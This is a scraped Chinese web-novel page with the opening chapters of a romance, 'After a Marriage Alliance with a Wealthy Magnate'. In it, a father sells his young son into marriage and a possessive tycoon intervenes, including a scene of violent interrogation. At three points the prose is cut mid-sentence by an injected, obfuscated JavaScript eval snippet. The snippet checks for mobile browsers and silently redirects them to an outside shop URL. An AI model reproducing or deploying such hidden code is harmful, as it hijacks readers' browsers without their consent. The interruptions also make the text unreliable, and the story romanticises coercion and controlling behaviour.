《和豪门大佬联姻后》 1. 联姻 “年纪大比你的同龄人性格更加沉稳,也不会在物质和生活方面亏待了你,最重要的是,他很喜欢你。” 听见这句话,一直看着车窗外疾驰而过的风景的路弥转过脸来,顺着他的动作,垂落在额前的柔软的头发轻轻晃了晃,蹭在眼皮上,痒得他忍不住眨了眨眼,放在膝盖上的手指微微蜷缩。 见他一言不发,坐在路弥旁边的中年男人叹了声气:“我也知道你大学还没毕业就让你结婚太为难你了,本来也不该你去联姻,但是……” “爸爸,我已经答应了,不会反悔的。”路弥抬起眼皮,琥珀色的眼眸中映出路南德一闪而过的错愕,路弥轻轻扬了扬唇角,浅淡的唇色和本身就偏白的肤色让他的笑变得脆弱而又美丽。 哪怕是自己养了十九年的亲生儿子,路南德还是被路弥的笑晃了眼,愣了几秒才露出慈爱的笑:“爸爸不是这个意思,只是怕你不适应。” “不会。”路弥应得很快,声音轻缓,却又带着些许颤音,只不过路南德向来不怎么关心这个小儿子,也就没有多注意。 知道路弥不会对着自己撒谎,路南德安抚性拍了拍路弥的肩膀,没再继续多说什么。 耳边终于清净,路弥再度扭头看向窗外,车子疾速驶向约定好的餐厅,窗外的高楼大厦在眼前消失又复现,一幢幢楼看起来长得一样,却又不一样。 路弥垂着眼,指腹不断互相碾压着。 这是他紧张时候才会做出的表现。 没有谁会在奔赴一场未知的婚姻的路上还能做到泰然自若,尤其是在此之前,路弥并没有见过他所谓的联姻对象,关于对方的消息都是昨天偶然听见路南德和继母聊天所得。 两个月前路家生意失败,公司资金链严重不足,为了能让公司继续正常运转,路南德奔波了许多地方,也就是在前天,路南德去了一场沈家举办的宴会,回来之后,他就把路弥从学校喊回家,问路弥愿不愿意联姻,联姻对象是沈家人。 沈家是真正的豪门大家族,根基久远且深,涉及产业广泛,路弥平时并不关心这些,只知道沈家如今的掌权人叫沈谈,路弥只在学校的公开演讲宣传中见过沈谈的名字。 是个光看个人介绍就让人望而却步的人。 也是路南德根本不敢攀附的人。 路南德所说的联姻对象大抵只是某位沈家旁支,即使如此,只要对方愿意,也足以解路家如今的燃眉之急。 而现在公司也确实已经回到了正常运转。 但路家并不是只有路弥一个儿子,路弥有两个哥哥,一个已经大学毕业,如今在家里公司任职,一个和路弥同校,比路弥大一届。 按理来说就算是联姻也轮不到最小的儿子。 见路弥一脸茫然,路南德告知路弥是对方主动选择了他。 原因不用路南德提路弥也知道。 路弥是路家三个儿子里长得最漂亮的。 用漂亮来形容一个男生虽然并不合适,但用来形容路弥却很恰当,一眼就能让人记住的精致长相,脸只有巴掌大小,皮肤白嫩,唇型饱满漂亮,也并不女气。 在路南德向路弥提起这件事的那一刻开始,路弥就没有拒绝的选项。 他在路家向来没有什么话语权,在家的时候路南德说什么他就做什么,不需要他做什么的时候他就一个人躲在狭小的房间里。 而昨天,因为突如其来的联姻留在家里住宿的路弥路过书房的时候,听见了路南德和继母的争吵。 后妈责怪路南德做事不考虑后果,万一对方看上了大儿子和二儿子怎么办。 路家三个儿子,只有路弥是路南德原配所生,另外两个儿子,都是路弥继母亲生。 继母有这种担忧也是人之常情。 如今同性婚姻虽然合法,但很少有大家族会选择同性联姻,况且像沈家这种大家族,和他们路家联姻,吃亏的只会是路家被送过去的那个牺牲品。 然而路弥从继母口中得知,那个路南德口中“年纪比他大,性格沉稳,并不会亏待他”的男人,实际上已经年过五十岁,是沈家小有名气的败类。 路南德去参加宴会,继母担惊受怕了一整天,就是怕自己的亲生儿子会被卖给这种人。 哪怕现在知道这种事落到了路弥头上,她还是忍不住后怕。 可路南德却说,他只给对方看了路弥的照片。 路南德去那场宴会,就是熟知对方喜好,特意去把路弥卖给对方的。 思及此,路弥忍不住攥紧了手指,苍白的唇紧紧抿在一起发着颤,唇逐渐染上血色,眼眶泛起红,眼泪却始终没有落下来。 车很快停在一家高档餐厅外面,路南德抓住路弥的手语气万分不舍:“见面后好好表现,爸爸在外面等你出来,只是吃顿饭,不要紧张。” 路弥垂眸看着路南德抓着自己的那只手,掌心温暖而宽大。 不过这似乎是路弥记事开始路南德第一次这么主动对他。 “好。”路弥轻轻应了声,把手从路南德手中抽出来,没有犹豫地下了车,朝着餐厅大门走了过去,也没有回头。 守在餐厅门口的两名服务生似乎认识路弥,路弥一走近,两名服务生就立马迎了上去。 “您好,请问是路弥路少爷吗?”服务生脸上带着恰到好处的笑,语气亲切。 路弥不得不停下脚步,好不容易鼓起来的勇气被这么一打断已经消失了一半,他双手食指和大拇指指腹不断摩挲着,微抬起下巴看着服务生,控制着自己声音里的发抖,唇角微微上扬:“是的。” 距离很近,哪怕已经提前见过路弥照片,两个服务生还是被路弥的笑晃了眼,愣了几秒才反应过来,“沈先生已经在里面等您了。” 沈先生。 硬挤出来的笑容变得生硬,心跳也越来越快。 即使不认识这个沈先生,路弥也知道年过五十声名狼藉意味着什么。 像他们这种圈子,有钱却人品差玩得花的不在少数,一般大家都不会当回事,只会当乐子,除非特别过分的品行恶劣、玩得极为出格。 而路弥现在踏进这家餐厅大门,答应了这次的联姻,意味着他以后的人生就毁了。 活了十九年,路弥还没谈过一次恋爱,也没有完成自己的梦想。 虽然他知道自己总有一天会面临这样的事情。 谁让他是路南德的小儿子。 “路弥少爷?”见路弥许久没有反应,服务生有些担忧。 路弥回过神,朝服务生轻轻摇头,“可以给我带路吗?谢谢。” 路弥的身影消失在门口,一直坐在车里没动的路南德这才放心地收回视线,“回去吧。” 司机愣了下,“可是小少爷……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727527|144977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他今天不会回家。”路南德满不在意地笑了笑,刚刚对路弥展露出来的那点慈爱早就消失不见。 他把路弥卖给了沈家人,自然早就谈好了一切,钱也已经拿到手,只要路弥走进这家餐厅,他以后就是沈家的人,是死是活都跟他路家没关系。 司机打了个寒颤,还是把话都咽了进去。 他在路家当了十几年司机,路弥在路家是什么待遇他看得一清二楚。 明明是原配所生,却在母亲去世后原本属于他母亲的家产全部落到了父亲手里,还被立马进门的继母打压,而那两个比他年纪大的继母的儿子,居然也都是路南德的亲生儿子。 而现在他还被路南德卖了。 所谓的联姻只不过是个幌子,里面那个沈家的男人,是沈家某位旁支,出了名的玩得烂,喜欢年纪小的漂亮男生,把人玩死是常有的事。 “开车。”路南德没有再看餐厅一眼。 餐厅里,路弥小心翼翼环顾四周。 灯并没有全部打开,视野变得昏暗,视线所及之处没有其他客人,不知道是这个时间点并没有客人还是被包场了,整个餐厅安静得只有舒缓的钢琴声。 路弥的心情却没办法平静。 他被带到餐厅正中央的位置,头顶华丽又昏黄灯光照出坐在那里的男人的背影。 男人背对着路弥,肩膀宽阔,脊背挺得笔直,乌黑的头发不过耳。 看背影有些过于年轻,应该不是那位沈先生。 路弥愣了几秒,领着他进来的服务生却突然对着男人喊了一声:“沈先生,路弥少爷来了。” 路弥瞬间攥紧了衣摆,这位沈先生却在服务生话音落下的瞬间站了起来,转过身,面向了路弥。 他比路弥高出近一个脑袋,微微低着头露出成熟冷峻且十分有压迫感的面容,看起来年纪应该在三十岁左右,即使在昏黄暧昧的灯光下看向路弥的那双眼睛依然深邃又锐利,仿佛一眼就要把人看穿,也看得路弥大脑有那么一瞬间空白,无措得连呼吸都变得急促,也不敢直视对方,眼神都开始四处乱瞟。 “你们先退下。”许是看出了路弥的惊慌,沈先生遣退了两名服务生,他声音低沉,听起来有种不怒自威的调子,路弥下意识屏住了呼吸,下一秒,面前伸过来一只手。 沈先生的手宽大,手指修长,袖口的扣子解开往上挽起了一小段,手腕上戴了一块看不出价格的黑表。 路弥看着那只手晃了下神,手比大脑反应更快地伸了出去,握住了那只手。 路弥的手要比沈先生的手小,许是年纪差异问题,同样是男人,他的手更为细嫩,和沈先生健康的小麦色交握在一起,对比明显。 明明是他握住对方的手,路弥却感觉到自己的手似乎在逐渐被对方包裹,沈先生修长的手指覆盖住他的手背,力道逐渐变大,但并没有带来疼痛。 路弥忍不住有些发抖。 “你的联姻对象换成我了,我想你应该不会介意。”沈先生依然紧握着他的手,似乎并没发现他的害怕,也没发现他在发抖的同时那细微的想要挣脱的动作,依然自顾自地自我介绍,声音比刚才更加低沉:“我叫沈谈。” 听见这个名字,路弥错愕地抬起脸。 沈谈。 沈家应该没有第二个敢叫沈谈的人。 为什么会是沈谈? 2. 误会 舒缓的钢琴乐换成了悠扬的大提琴。 路弥站在原地,被握着的那只手已经有些麻木,也出了些许薄汗。 他微微抬着头,又很快低下头去,目光涣散地看着地面上映出的波澜的灯点,他没敢问为什么的联姻的对象会变成面前的沈谈,原本被抓得并不舒服试图抽离的手此刻也完全没有再抵抗,只是气息微弱地发出声音:“你、你好,我叫路弥。” 因为低头,他后颈的皮肤完全暴露在了空气中,昏黄的灯光下那片皮肤依然白得脆弱,连骨头似乎都清晰可见。 沈谈毫不怀疑自己一只手就能掐断那截骨头。 真是瘦弱得不堪一击,但又美丽。 沈谈盯着那片皮肤看了好一会儿,那凸起的骨头在微微颤抖,沈谈喉结上下滚了滚,一侧唇角往上勾了下,这才嗯了声,却没松开路弥的手,而是顺势就这么轻轻一拉,成功把路弥拉得一个踉跄。 路弥果然一脸受惊的表情猝不及防抬起头来看了他一眼,又马上躲开视线,连忙后退了两步试图拉开和他之间的距离。 沈谈却跟什么都没做过一样,继续牵着路弥的手,把人牵到了自己方才坐的位置的对面,这才松开路弥的手。 他绕到了椅子背后,替路弥拉开座椅,虽然一言不发,却把绅士行为表现得很出色。 “有没有什么忌口的食物?”沈谈坐回了之前的位置,出声询问。 路弥动了动麻木的右手手指。 因为被抓得太久,那片皮肤都已经红了。 听见沈谈的话,路弥回过神来,小声应答:“没有。” 刚刚沈谈硬拉着他的行为还令他颇为心悸,他对沈谈的了解仅仅是在公告栏的那一栏履历上,可他也知道沈谈这个年纪,要成为沈家这种大家族的掌权人会经历什么,沈谈绝对算不上一个好人。 那短短几秒,路弥的心跳已经飙升到临界值。 虽然他已经接受了自己的命运,可真正到来的时候还是会怕。 只是他没想到,沈谈只是把他带到了座位上,还替他拉开了椅子。 他误会沈谈了。 没一会儿沈谈就召来了服务生,他看起来似乎以前来过这家餐厅,轻车熟路地向服务生报出了几个菜名。 等服务生离开,似乎因为餐厅内温度有些高,沈谈脱下了身上的西装外套,随手挂在了椅背上。 路弥小心翼翼观察着,等沈谈看向他的时候,他又连忙垂下眼,盯着自己面前的盘子。 他没有类似的经验,面前的状况也完全和路南德的安排完全不一样了,路弥不知道自己应该做些什么。 “你很害怕。”沈谈手肘撑在桌面上,双手交叠在一起,目不转睛地看着路弥,说话的语气浅淡,用的还是肯定句。 路弥被他这话吓了一跳,连忙抬起头来,摇头想要否认,但被沈谈那双眼睛那么直勾勾地看着,他又不敢说什么违心的话,只能支支吾吾躲闪着:“不、不是的。” 沈谈的表情没什么变化,“不是什么?不是害怕?那是什么?紧张?还是高兴?看起来不像是高兴,你从进来开始就没有笑过。” 沈谈这番话让路弥一下子不知道该怎么回答,他确实是害怕,可他怎么敢实话实说,如果惹得面前这人不高兴,路家的资金链肯定会断了,到时候别说是沈谈,连路南德都不会放过自己。 不过沈谈似乎并没有想要得到他的回答。 见路弥一脸无措,连脸都红了,明明什么都没对他做,只是说了几句话而已,就一副被欺负狠了的样子,沈谈端起水杯喝了口水,才慢吞吞接着说:“我能理解你为什么会害怕,我看过你的资料,你现在才十九岁,这个年纪结婚,对你来说确实是早了点。” 只口未提路弥害怕的因素里也有他。 沈谈说着随意往后靠到了椅背上,姿态看起来比方才惬意许多,也好像并没有刚刚那么吓人,那么严肃。 路弥并不理解沈谈说这话的含义,也许是因为一开始要跟他结婚的人并不是沈谈,而沈谈临时顶替,认为他年纪过小并不适合…… 没等他设想完毕,沈谈就打破了他这幼稚的想法。 “不过既然已经决定结婚,那就没有反悔的机会。”沈谈说这话的时候唇角微微上扬,视线牢牢定在路弥身上。 又是那种锐利得仿佛能洞穿一切的视线。 路弥呼吸一下子顿住,原本内心燃起来的那一点点希望很快被扑灭,他不敢再多看一眼沈谈的脸,又一次低下头去,双手捧着水杯有一下没一下小口地喝着,让自己情绪尽量冷静下来。 他并没有误会沈谈。 沈谈并不是个好人,他的那番话只是为了让路弥打消取消结婚的念头。 沈谈点的菜很快就上齐了,餐厅的菜式精致而又色香味俱全,路弥今天一整天没吃过什么东西,也早就感觉不到什么饿意,但沈谈主动分了不少吃的放到他的餐盘里,虽然并没有要求他全部吃完,但路弥并不敢拒绝。 吃饭的过程十分安静,路弥其实已经很久没跟其他人一起吃饭,在家里他跟路家其他人都是分开用餐,路家有专门的餐厅,其他人都会准时在那里用餐,而路弥基本上都是在厨房里吃饭,有时候去得晚了,只能吃佣人吃剩下来的东西,路弥早就已经习以为常。 上了高中寄宿制学校以后路弥就只在节假日和周末回家,到了大学,为了生活费,他找了份能够养活自己的工作,在学校附近租了间简陋的出租屋,就更加不用回家了。 除非路南德为了什么事情喊他回去。 路弥原本以为自己会食不知味,毕竟沈谈光是坐在他对面就让他不自觉会发抖、会怕到心跳加速,但他没想到自己居然吃得十分满足。 不知道是不是因为菜太好吃。 路弥胃口并不大,他只把沈谈分到他盘子里的那些东西吃完就已经完全饱了,但他又不敢先沈谈一步放下餐具,这是年幼时路家聚餐时候路南德教育路弥的规矩。 那次路家家庭聚餐,也是路弥少有的跟大家一起在餐厅用餐的机会,但他胃口比其他人都小,吃了没多少东西就吃饱了,他又不喜欢待在人多的地方,桌上那些人对他来说都十分陌生,就连朝夕相处的路南德和继母还有两个哥哥都很陌生,他率先放下手中的碗筷想要离席,没想到这个行为让路南德十分不悦,完全没有顾及在场其他人的目光,路南德指着他的脑袋骂他没有教养,还打了他两巴掌。 路弥哇哇大哭,却被路南德关进了狭小的卧室里,关了小半天才把他放出来。 后来每每回想,路弥总是想问那时候根本没有人教过他,为什么要那样骂他。 但他并没有问出口一次。 他知道在路南德眼里自己算是什么。 但路家的公司是他母亲留下来的家产,他并不想让母亲唯一留下来的东西落败,他没有能够继承母亲公司的能力,只能让公司在路南德手里活下去。 “吃饱了?”沈谈似乎注意到什么,低头看了眼腕表,又很快抬起头,视线回到路弥身上。 路弥从回忆里抽回意识,下意识点了点头,见沈谈那双眼睛毫不掩饰地又盯着自己看,他握着手中的筷子又忍不住屏住了呼吸,不敢说话也不敢做什么别的动作。 每次被沈谈那么看着,他都觉得自己像是被什么东西牢牢抓住,被锋利的爪牙剖开了。 “那就走吧。”沈谈说着人已经站了起来。 路弥愣了下,扫了眼桌上剩下的还没动过多少的饭菜,沈谈似乎没有吃多少东西。 路弥张了张嘴,话到了嘴边又咽了进去,几次来回,还是忍不住问:“沈先生……你吃饱了吗?” 沈谈正在穿西装外套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727528|144977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,听见这话转过身来,目光在路弥那张见了他就躲闪的脸上定格几秒,“这是在关心我吗?” 他勾了勾唇角,笑起来的时候也并没有减轻多少骇人感。 路弥忍不住攥紧了手指,在心里骂自己为什么要多管闲事,明明他只需要听话便好,沈谈又不是什么不能生活自理的人。 “多谢关心,我一会儿还有个饭局,先送你回家。”沈谈却并不需要路弥的回答。 他走到路弥面前,居高临下看着路弥,穿上西装后他整个人又多了几分距离感和锋利感,路弥不敢直视他,也不敢否认他的话,只是犹豫了一会儿还是小心翼翼说:“我爸爸在外面等我。” 沈谈垂眸看着路弥颤动的睫毛,眼神意味不明,语气却如常:“是吗?那很遗憾,希望我们能很快再见面。” 他似乎早就料到路弥会拒绝,对此并没有表现出一点意外。 路弥心跳突了一下。 自然是会很快再见面的,他们这回都没有提什么时候结婚的话题,也确实太快了,从定下这件事到现在也不过才两天时间,而他们见面也才过去多久。 只不过路弥觉得沈谈这句话似乎别有深意。 沈谈看起来好像很忙,他并没有再多做停留,留下路弥一个人就先行离开了。 沈谈一走,餐厅中央只剩下路弥一个人,没有了那种不自觉感受到的威压,路弥轻轻松了口气,摸出手机看了眼时间,距离进来到现在也不过才过去一个小时。 他所认为的自己可能没办法再回家并没有发生。 有种劫后余生的感觉。 虽然并没有搞明白为什么那个五十岁的沈先生会突然变成沈谈,以沈谈的身份并没有任何和他联姻的理由,但好像情况比他预料中要好许多。 沈谈至少并没有逼迫他做些什么。 出去的时候路弥心情轻松许多。 外面天已经黑了,路弥站在门口看向方才路南德的车停着的地方,餐厅外面有露天停车场,并没有不允许停车的规定。 他往那边走了一圈,依然没看见路南德的车,原本稍稍放下的心又像被什么东西挤压住了,压得他透不过气来。 路南德明明说过会在外面等他。 外面有车不停地往来,路弥没在路中间站多久,又重新回到了餐厅门口,他低头看着手机,拨通了路南德的电话。 不出他所料,提示电话打不通。 路南德关机了。 比知道路南德让自己去和一个五十岁的男人结婚时候更深的寒意从脊背窜了上来,路弥心底原本还留存的一点点对路南德的期望,因为路南德那句他会在外面等自己出来而冒出来的一点期望,就这么消失殆尽了。 他站在餐厅门口,本就瘦削的身形被风一吹看起来摇摇欲坠,脸上神色变得愈发苍白。 明明还没有进入寒冬,路弥却觉得很冷,冷得他不自觉发抖,双手环抱住双臂。 站了好一会儿路弥才缓过神,就在他拿出手机准备打车的时候,一辆早就在不远处停了许久的车向路弥这边缓缓驶了过来。 车子精准地停在路弥面前,听见声音,路弥愣了下,迟钝地抬起头。 车门被打开,本该早就离开的沈谈怀里抱着一件黑色大衣下了车。 路弥已经完全愣住了,不知道沈谈为什么会又去而复返,他还没来得及做出什么反应,沈谈人已经走到他面前。 沈谈比他高,站得那么近,几乎直接挡住了他的视线,也挡住了外面吹来的风。 那件被沈谈抱在怀里的大衣被抖开,被撑开,被搭在了路弥的肩膀上。 大衣沉重,宽大而又温暖,路弥呆滞地仰起头,头一次没有胆怯地躲开沈谈直直看过来的视线。 沈谈依然居高临下,面容冷峻地开口:“路弥,需要我送你回家吗?” 3. 回家 一直到坐上沈谈的车,路弥才反应过来自己做了什么。 他身上还披着沈谈给他披上的大衣,车内并没有开暖气,温度不高,大衣披在身上正好,并不会感到闷热。 只不过这是沈谈的衣服。 路弥并不适应这种穿上别人衣服的亲密,哪怕他跟沈谈是即将结婚的关系。 只是他又没办法拒绝。 他不知道沈谈为什么会去而复返,也不知道沈谈为什么会给自己披上这件衣服,他无法从沈谈的脸上探知到任何有用的信息。 可能沈谈对他的第一印象很好。 大概是因为他这张脸。 路弥从小到大都熟知自己长得漂亮。 长相给他带来了很多优势,也带来了很多不好的事。 路弥双手拽着大衣,整个人往门边挪了挪,眼神却控制不住往一旁的沈谈那边看。 一上车沈谈就在打电话,一直是对面在说,沈谈没什么表情地听着,路弥听不清对面在说什么,只知道大抵是在谈什么公事,沈谈的膝盖上还放了份文件。 沈谈的侧脸轮廓分明,和路弥那些同学不一样,他的长相锋利,身上不止带着令路弥害怕的上位者的气势,还有年长者的成熟。 “好看吗?” 不知道什么时候沈谈结束了通话,路弥看得出神,根本没有注意到自己的偷看早就变成光明正大。 被沈谈突如其来的这句话吓得整个人都抖了下,路弥下意识又往门边缩了缩,一边摇头一边视线乱瞟,连呼吸都乱了几分。 沈谈微眯着眼,朝他微微倾身,“摇头是不好看的意思吗?” 路弥抬起脸张了张嘴,想要解释什么,却见沈谈勾了勾唇角,沈谈人没退开,反而离路弥更近了点,路弥直直撞进他深邃的眼里,感觉自己像是在被什么猛兽盯着,他陡然抓紧了大衣,微张的唇瓣抖了抖,脸上好不容易回上来的血色又逐渐褪下。 沈谈盯着他那双跟沁了水似的漂亮的眼睛,偏浅色的瞳孔收缩,看起来是真的被自己的靠近吓到,眼眸闪烁着,始终不敢正眼看他,似乎再这么下去马上就要哭出来了,像极了受惊了的毫无攻击力的小型动物,沈谈这才又坐了回去,只不过依然看着路弥,慢条斯理地问:“还是没有看够的意思?” “……不是。”路弥的声音微弱,他不知道自己该怎么回答这个问题,偷看确实是他的错,但他也并没有觉得好看或者不好看或者没看够的意思。 他只是单纯被吓到了。 沈谈完全在扭曲他的意思。 他只能用不是两个字来否认。 “是这样吗……”也不知道沈谈到底有没有理解自己的意思,他轻声应了句,手机就又响了起来,看了眼来电人,沈谈就又接起了电话。 不用再被毫无保留地盯着,脊背也没有了那股毛骨悚然的感觉,路弥轻轻喘了口气让自己大口呼吸,又有点想把身上的大衣脱下来,就是不知道沈谈会不会因此而生气。 他看起来脾气并不好,就连笑起来的时候都令人害怕。 而且也不像是个好人。 路弥没敢继续偷看沈谈,脑袋靠在窗玻璃上低着头,乱糟糟的大脑这会儿终于能够平静下来梳理着今天发生的一切,再一次心生寒意,路弥忍不住又把大衣裹紧了点,耳边是沈谈在跟对面说话的声音,用的是路弥听不懂的不知道什么国家的语言,一直混乱的情绪在沈谈低沉的声音里居然意外平复下来,路弥逐渐泛起困意,脑袋在窗玻璃上一点一点,眼皮也不断颤动着,似乎在和困意做着斗争。 沈谈打完电话看见的就是这一幕。 身形瘦弱的男生缩在他的大衣里,脸上微微泛着红意,呼吸清浅,脆弱而又惹人怜爱,藏在衣服底下的身躯仿佛只要他一用力就会被折断。 明明很怕他,但唇瓣却毫无防备地微张着,唇色湿润浅淡,让人很想在上面留下些什么。 沈谈眸色逐渐变深。 车很快在学校门口停下。 路弥并没有让沈谈把自己送回路家。 路弥并没有睡着,意识还清醒着,只是闭着眼比睁开眼更加自在,车一停他就坐了起来,靠着窗户久了脖子酸痛得让他皱了皱眉。 沈谈正低着头看文件,路弥正想开口道谢直接下车,沈谈却先他一步开了口,“既然已经要结婚了,是不是应该搬到我那边去?” 明明沈谈并没有看着自己,路弥却觉得他说这话的时候语气完全不容反驳。 路弥愣了下,指腹不断碾压着,“我……” 他没有拒绝的选择。 “明天还是后天有时间?”沈谈抬起头来看他,脸上没什么表情,几秒后,沈谈问:“决定好了吗?” 根本连思考的时间都没留给路弥,那双眼睛牢牢锁在路弥身上,路弥呼吸顿了顿,没敢迟疑,“后天。” 能拖一天是一天。 他其实根本没有做好结婚的准备。 更何况是和沈谈这样的人。 他也无法理解像沈谈这样的人为什么会想和自己结婚。 “到时候我会让人来接你。”沈谈似乎这才满意了,没有继续用那种仿佛只要他说一个不字就会把他当成死物的眼神看着他,而是朝司机瞥去一个眼神。 车门缓缓自动打开。 路弥手一松,刚想脱下大衣,沈谈靠在椅背上没有看着他,“大衣穿回去,结婚对象换成我的事,我会亲自去和你父亲谈,合作会正常进行。” 言外之意,路南德并不知道换人这件事,沈谈也不希望他主动向路南德提。 而公司还是会保住。 就算沈谈不说,路弥目前也并不想主动见路南德。 他并不眷恋那个家,也并不眷恋路南德的父爱,顺从只是想救活他母亲的遗产。 “好,沈先生,谢谢你送我回来。”说完这句话,路弥重新裹紧大衣,迫不及待下了车。 腿有些发软,他堪堪站定,也没敢回头看沈谈的车开走没有,快步朝着自己在学校附近的出租屋走过去。 车内,沈谈靠在椅背上神色晦暗,等路弥的身形彻底消失在黑夜里,一路上一直跟在沈谈车子后面的车才缓缓靠近,停下。 车上下来个寸头男,一下车就狂奔到沈谈车前猛敲车窗,等车窗落下,寸头男半个脑袋探进车里,“给,你要的监控,原片都在这儿了,我那儿没备份。” 沈谈没什么表情地接了过去。 “可以啊沈大少爷,什么时候情窦初开了?你那眼神,我都怕你在餐厅就把人给吃了,我都想好找你要多少赔偿了。”寸头男是餐厅老板,本名陈生,是跟沈谈一起长大的朋友,说话多少有点口无遮拦,“没想到你居然忍住了,你居然能忍住。” 毕竟沈谈这人从小在沈家那样的环境里长大,二十多岁就爬到了现在这个位置,爬上去之前的生活可以说是和刀尖舔血没什么区别,虽然外表看着和常人无异,但陈生一直认为他内心应当极度扭曲。 在生意方面沈谈想要的肯定就会立马不择手段得到。 不过在人这方面,陈生倒还是第一次见他有想要的。 虽然沈谈没在餐厅做什么,但陈生还是觉得他内心挺扭曲。 毕竟除了沈谈,应该没有第二个人会要求把两人见面的监控录像保存下来,拿回去,当成纪念品。 沈谈偏头看了陈生一眼,意味不明地笑了下,“太瘦了。” 太瘦了,怕坏了,得先养养。 陈生愣了下,还没来得及问这话什么意思,沈谈就已经岔开话题,“人带去我办公室了?” “带去了,我草,你这个叔叔,会不会有什么花柳病啊?我碰他一下都觉得脏,听说他玩过挺多小男生,他这是怎么找到你那梦中情人头上来的……”陈生接下去的话被沈谈一个眼神堵了回去。 “走了。”没等陈生离开,沈谈就让司机启动了车,吓得陈生连忙把脑袋从窗户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727529|144977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里救回来,生怕自己被沈谈这种冷血生物取了命。 半个多小时后,沈谈站在办公室里,居高临下看着跪在自己面前的男人。 男人已经年过五十,头发都有些花白,因为常年玩乐,身体亏空,面颊瘦弱双眼无神,他惊恐地仰头看着沈谈,完全不知道自己到底是哪里得罪了沈谈,今天刚到餐厅就被餐厅老板请去喝了茶,他还以为对方是想攀附自己,毕竟他虽然不涉及沈家业务,但好歹是个沈家人,手里的股份虽少,得到的钱却足够他玩乐一辈子。 没想到连话都没说上两句,人就被一棍子敲晕,醒来就躺在了沈谈办公室的地板上。 就算是化成灰他都认得沈谈的办公室,上回进来还是沈谈还没真正成为沈家掌权人的时候。 那时候沈谈父亲刚去世没多久,沈家乱了套,刚过二十岁生日的沈谈就坐在这间办公室的椅子上,不苟言笑,明明是应该还在上学的年纪,沈谈身上的气质却老成,一身骨子里带来的骇人气势,他把一份文件砸在一个沈家人脸上,对方眼睛瞬间流了血,沈谈却不为所动,只威胁对方,“两天,这份文件上亏损的资金回不来,就用你身上别的东西来换。” 他看起来就是那种说到做到的人,更何况从他出生开始,他就是被当成接班人培养,很早就开始接触公司业务,也见过许多可能连他们都没见过的场面,性格冷漠无情又果决,刹那间办公室里安静无比,没有人再敢吵闹。 想起那时候那人脸上流的血男人就心有余悸,更别说如今站在他面前的是已经三十岁,坐在这个位置上多年的沈谈。 男人慌乱无比,哆哆嗦嗦爬到沈谈脚下,“沈,沈总,我这是哪里,哪里惹您不愉快了?” 沈谈低垂着眼,面无表情踩住男人朝着自己伸过来的手,“你给了路南德多少。” 硬邦邦的皮鞋鞋底在手背上碾压,男人立马惨叫了一声,却不敢躲开,“路南德……路南德……我!我就给了他五百万,啊!” “五百万?”沈谈很浅地扯了下唇角,走到沙发前坐下,手肘支着膝盖上半身前倾,神色冷漠地看着面前人:“你们谈了什么交易?仔细给我讲讲,讲得好了,我会考虑让你留下来。” 男人打了个寒颤,也顾不上手上的疼痛,爬到沈谈面前,“前天,前天我在家里办了场宴会,路南德拿着一个男生的照片找上我,我,我就是爱好特殊了点,他问我喜不喜欢那个男生,人也确实确实长在我审美上,他就让我出五百万把人卖给我,安排我们今天见面……其他的,我真的没有拿沈家任何东西去做交易……钱,钱是我自己的。” 他实在不明白,沈谈平日里忙于工作,除非触犯到他的利益,不然根本不会管也不会去调查他们这些依附于沈家生活的人到底做了什么事情,为什么今天偏偏查到他头上。 难不成是那个路南德故意设局害他?! “你自己的钱?”沈谈向后靠到沙发背上,扭头看向守在门口的助理:“赌钱、私下买卖材料、使用违规药物、侵犯未成年……带他去自首。” “别,别沈总!!我,我以后不会再犯了!沈谈!!我好歹是沈家的人!!!” 不管男人再怎么歇斯底里地叫喊,沈谈始终没再给过他一个眼神。 沈谈打开放在茶几上的笔记本电脑,把陈生给他的U盘插了进去,电脑上很快出现餐厅里的监控录像。 录像里,路弥进入了餐厅大门,明明也是正常男生的身高,包裹在毛衣下的身形却那么瘦弱,不断地无措又紧张地揉搓着手指,眉眼间全是想要刻意隐藏却根本藏不住的慌乱无措和害怕。 被不断揉搓的手指应该已经红了。 他的皮肤偏白又脆弱,不论是后颈还是手,亦或者是身上的每一处地方。 只要被那么用力地碰一会儿,就会泛红。 沈谈神态放松地靠着,垂眸看了眼自己的右手,手指拢起,无声笑了笑。 似乎在回味着什么。 4. 征求 回到出租屋,关上门,路弥急切地脱下披在身上的大衣扔到柜子上,仿佛那上面有什么洪水猛兽会随时扑出来。 